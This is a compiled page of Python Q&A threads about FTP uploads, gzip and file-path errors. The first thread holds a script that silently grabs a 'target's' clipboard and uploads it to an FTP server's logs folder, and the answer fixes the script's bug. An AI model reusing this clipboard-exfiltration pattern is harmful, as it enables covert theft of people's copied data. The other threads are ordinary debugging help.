Send file contents over ftp python - python

I have this Python Script
import os
import random
import ftplib
from tkinter import Tk
# now, we will grab all Windows clipboard data, and put to var
clipboard = Tk().clipboard_get()
# print(clipboard)
# this feature will only work if a string is in the clipboard. not files.
# so if "hello, world" is copied to the clipboard, then it would work. however, if the target has copied a file or something
# then it would come back an error, and the rest of the script would come back false (therefore shutdown)
random_num = random.randrange(100, 1000, 2)
random_num_2 = random.randrange(1, 9999, 5)
filename = "capture_clip" + str(random_num) + str(random_num_2) + ".txt"
file = open(filename, 'w') # clears file, or create if not exist
file.write(clipboard) # write all contents of var "foo" to file
file.close() # close file after printing
# let's send this file over ftp
session = ftplib.FTP('ftp.example.com','ftp_user','ftp_password')
session.cwd('//logs//') # move to correct directory
f = open(filename, 'r')
session.storbinary('STOR ' + filename, f)
f.close()
session.quit()
The file will send the contents created by the Python script (under variable "filename" eg: "capture_clip5704061.txt") to my FTP Server, though the contents of the file on the local system do not equal the file on the FTP server. As you can see, I use the ftplib module. Here is my error:
Traceback (most recent call last):
File "script.py", line 33, in<module>
session.storbinary('STOR ' + filename, f)
File "C:\Users\willi\AppData\Local\Programs\Python\Python36\lib\ftplib.py", line 507, in storbinary
conn.sendall(buf)
TypeError: a bytes-like object is required, not 'str'

Your library expects the file to be open in binary mode, it appears. Try the following:
f = open(filename, 'rb')
This ensures that the data read from the file is a bytes object rather than str (for text).

Related

FileNotFoundError when creating a binary read only file in Python

I'm creating an FTP client and am attempting to download from and upload files to an FTP server.
Downloading the files work fine as I have no issues creating a write only binary file, that does not initially exist on my local computer:
if cmnd1[0] == 'get':
f1 = open('newDownloadText.txt', 'wb')
ftp_cl.retrbinary("RETR " + cmnd1[1], f1.write, 1024)
f1.close()
ftp_cl.quit()
break
However, I am unable to upload files to the server as I cannot successfully create a new read only binary file:
elif cmnd1[0] == 'put':
f2 = open('newUploadTest.txt', 'rb')
ftp_cl.storbinary("STOR " + cmnd1[1], f2)
f2.close()
ftp_cl.quit()
break
My code fails when I attempt to create 'newUploadTest.txt'
Traceback (most recent call last):
File "client.py", line 29, in <module>
f2 = open('newUploadTest.txt', 'rb')
FileNotFoundError: [Errno 2] No such file or directory: 'newUploadTest.txt'
I have seen other posts on stackoverflow with individuals creating a new read only binary files without issues using 'rb' as a parameter, not sure why mine fails every time.
Code:
File must be created before reading, whereas write mode creates the file.
creating a new read only binary files
'rb' mode does not Create read only binary, but it reads a binary file which already exists.
'rb' mode opens a binary file which already exists in a read only mode. It is not creating any file.
from os.path import isfile
if my_condition:
file = 'newUploadTest.txt'
# Check if the file exists
if isfile(file):
# open binary file
f2 = open(file, 'rb')
# do something...
f2.close()
else:
print("File doesn't exists")

GZip and output file

I'm having difficulty with the following code (which is simplified from a larger application I'm working on in Python).
from io import StringIO
import gzip
jsonString = 'JSON encoded string here created by a previous process in the application'
out = StringIO()
with gzip.GzipFile(fileobj=out, mode="w") as f:
f.write(str.encode(jsonString))
# Write the file once finished rather than streaming it - uncomment the next line to see file locally.
with open("out_" + currenttimestamp + ".json.gz", "a", encoding="utf-8") as f:
f.write(out.getvalue())
When this runs I get the following error:
File "d:\Development\AWS\TwitterCompetitionsStreaming.py", line 61, in on_status
with gzip.GzipFile(fileobj=out, mode="w") as f:
File "C:\Python38\lib\gzip.py", line 204, in __init__
self._write_gzip_header(compresslevel)
File "C:\Python38\lib\gzip.py", line 232, in _write_gzip_header
self.fileobj.write(b'\037\213') # magic header
TypeError: string argument expected, got 'bytes'
PS ignore the rubbish indenting here...I know it doesn't look right.
What I'm wanting to do is to create a json file and gzip it in place in memory before saving the gzipped file to the filesystem (windows). I know I've gone about this the wrong way and could do with a pointer. Many thanks in advance.
You have to use bytes everywhere when working with gzip instead of strings and text. First, use BytesIO instead of StringIO. Second, mode should be 'wb' for bytes instead of 'w' (last is for text) (samely 'ab' instead of 'a' when appending), here 'b' character means "bytes". Full corrected code below:
Try it online!
from io import BytesIO
import gzip
jsonString = 'JSON encoded string here created by a previous process in the application'
out = BytesIO()
with gzip.GzipFile(fileobj = out, mode = 'wb') as f:
f.write(str.encode(jsonString))
currenttimestamp = '2021-01-29'
# Write the file once finished rather than streaming it - uncomment the next line to see file locally.
with open("out_" + currenttimestamp + ".json.gz", "wb") as f:
f.write(out.getvalue())

Cannot write in a file when using starting a program using the console

I've started Python recently, and I want to create a program which read a calculation in a file, execute it (using the eval() function) and write the result in another file. This program must be started with the console.
I've created the program, which works perfectly when I start it by double clicking it. But when I start the program with the console, it doesn't write the result in the file, and I don't get any errors. I know the calculation has been done, because the result is written in the console.
I've tried by running the program with .py extension, and compiling it to an executable, using pyinstaller. They work with a double-click, but not from the console.
Here are the commands I used to run the programs :
F:\Path\To\App\calculator.exe
C:\Path\To\Python\python.exe F:\Path\To\App\calculator.py
The code I use to read, evaluate and write the calculation
input = open('calcul.txt', 'r')
output = open('result.txt', 'w')
calcul = input.read()
print(calcul)
print(eval(calcul).toString())
output.write(eval(calcul).toFileString())
input.close()
output.close()
def toString(self):
number = str (round(self.m_number, 4))
number_scientific = str(format(self.m_number, ".3E"))
imprecision = str (round(self.m_imprecision, 4))
imprecision_scientific = str(format(self.m_imprecision, ".3E"))
relative_imprecision = str(round(self.m_relative_imprecision * 100, 2))
return "\t Number \t\t= " + number + " \t= " + number_scientific + "\n\t Imprecision \t\t= " + imprecision + " \t= " + imprecision_scientific + "\n\t Relative Imprecision \t= " + relative_imprecision + "%\n\t"
def toFileString(self):
return str (round(self.m_number, 4)) + '\n' + str (round(self.m_imprecision, 4))
When I run the console as administrator, I have that:
C:\WINDOWS\system32>F:\Users\Ludovic\Desktop\Apprentissage\C++\Qt\calculator\python_calculator\calculator.exe
Traceback (most recent call last):
File "calculator.py", line 376, in <module>
calcul = input.read()
FileNotFoundError: [Errno 2] No such file or directory: 'C:\\WINDOWS\\system32\\calcul.txt'
[26580] Failed to execute script calculator
C:\WINDOWS\system32>C:\Users\Ludovic\AppData\Local\Programs\Python\Python38\python.exe F:\Users\Ludovic\Desktop\Apprentissage\C++\Qt\calculator\python_calculator\calculator.py
Traceback (most recent call last):
File "F:\Users\Ludovic\Desktop\Apprentissage\C++\Qt\calculator\python_calculator\calculator.py", line 373, in <module>
input = open('calcul.txt', 'r')
FileNotFoundError: [Errno 2] No such file or directory: 'calcul.txt'
Run console as administrator
Add path tou your input and output files
input = open('your_path_to_file\\calcul.txt', 'r')
output = open('your_path_to_file\\result.txt', 'w')
Or put files in script folder and then call them like this
import sys
input = open(sys.path[0]+'\\calcul.txt', 'r')
output = open(sys.path[0]+'\\result.txt', 'w')
Update
for unversal file path for .exe and .py try this (files should be in .exe and .py folder)
import sys
if getattr(sys, 'frozen', False):
application_path = ''
else:
application_path = sys.argv[0]+'\\'
input = open(application_path+'calcul.txt', 'r')
output = open(application_path+'result.txt', 'w')
Maybe you are not in the directory you wished write your txt file for exemple:
if you are here in the cmd: MyFolder\
and you execute your python file by writting: python MyFolder\Python_prog\program.py
the .txt file will be written in MyFolder\ not in MyFolder\Python_prog\
I'm not sure because I've never tried out with python but I had the same kind of Errors with JavaScript

how to write the output of iostream to buffer, python3

I have a program that reads data from cli sys.argv[] and then writes it to a file.
I would like to also display the output to the buffer.
The manual says to use getvalue(), all I get are errors.
Python3 manual
import io
import sys
label = sys.argv[1]
domain = sys.argv[2]
ipv4 = sys.argv[3]
ipv6 = sys.argv[4]
fd = open( domain+".external", 'w+')
fd.write(label+"."+domain+". IN AAAA "+ipv6+"\n")
output = io.StringIO()
output.write('First line.\n')
print('Second line.', file=output)
# Retrieve file contents -- this will be
# 'First line.\nSecond line.\n'
contents = output.getvalue()
# Close object and discard memory buffer --
# .getvalue() will now raise an exception.
output.close()
print(fd)
fd.getvalue()
error:
# python3.4 makecustdomain.py bubba domain.com 1.2.3.4 '2001::1'
<_io.TextIOWrapper name='domain.com.external' mode='w' encoding='US-ASCII'>
Traceback (most recent call last):
File "makecustdomain.py", line 84, in <module>
fd.getvalue()
AttributeError: '_io.TextIOWrapper' object has no attribute 'getvalue
How do I output the data from io stream write function data to buffer as well as to file?
You use open() to open the file, so it isn't a StringIO object, but a file-like object. To get the contents of the file after you write to it you can open the file with mode = 'w+', and instead of fd.getvalue(), do:
fd.seek(0)
var = fd.read()
This will put the contents of the file into var. This will also put you at the beginning of the file, though, so be carefully doing further writes.

FTP upload files Python

I am trying to upload file from windows server to a unix server (basically trying to do FTP). I have used the code below
#!/usr/bin/python
import ftplib
import os
filename = "MyFile.py"
ftp = ftplib.FTP("xx.xx.xx.xx")
ftp.login("UID", "PSW")
ftp.cwd("/Unix/Folder/where/I/want/to/put/file")
os.chdir(r"\\windows\folder\which\has\file")
ftp.storbinary('RETR %s' % filename, open(filename, 'w').write)
I am getting the following error:
Traceback (most recent call last):
File "Windows\folder\which\has\file\MyFile.py", line 11, in <module>
ftp.storbinary('RETR %s' % filename, open(filename, 'w').write)
File "windows\folder\Python\lib\ftplib.py", line 466, in storbinary
buf = fp.read(blocksize)
AttributeError: 'builtin_function_or_method' object has no attribute 'read'
Also all contents of MyFile.py got deleted .
Can anyone advise what is going wrong.I have read that ftp.storbinary is used for uploading files using FTP.
If you are trying to store a non-binary file (like a text file) try setting it to read mode instead of write mode.
ftp.storlines("STOR " + filename, open(filename, 'rb'))
for a binary file (anything that cannot be opened in a text editor) open your file in read-binary mode
ftp.storbinary("STOR " + filename, open(filename, 'rb'))
also if you plan on using the ftp lib you should probably go through a tutorial, I'd recommend this article from effbot.
Combined both suggestions. Final answer being
#!/usr/bin/python
import ftplib
import os
filename = "MyFile.py"
ftp = ftplib.FTP("xx.xx.xx.xx")
ftp.login("UID", "PSW")
ftp.cwd("/Unix/Folder/where/I/want/to/put/file")
os.chdir(r"\\windows\folder\which\has\file")
myfile = open(filename, 'r')
ftp.storlines('STOR ' + filename, myfile)
myfile.close()
try making the file an object, so you can close it at the end of the operaton.
myfile = open(filename, 'w')
ftp.storbinary('RETR %s' % filename, myfile.write)
and at the end of the transfer
myfile.close()
this might not solve the problem, but it may help.
ftplib supports the use of context managers so you can make it even simpler as such
with ftplib.FTP('ftp_address', 'user', 'pwd') as ftp, open(file_path, 'rb') as file:
ftp.storbinary(f'STOR {file_path.name}', file)
...
This way you are robust against both file and ftp issues without having to insert try/except/finally blocks. And well, it's pythonic.
PS: since it uses f-strings is python >= 3.6 only but can easily be modified to use the old .format() syntax

Categories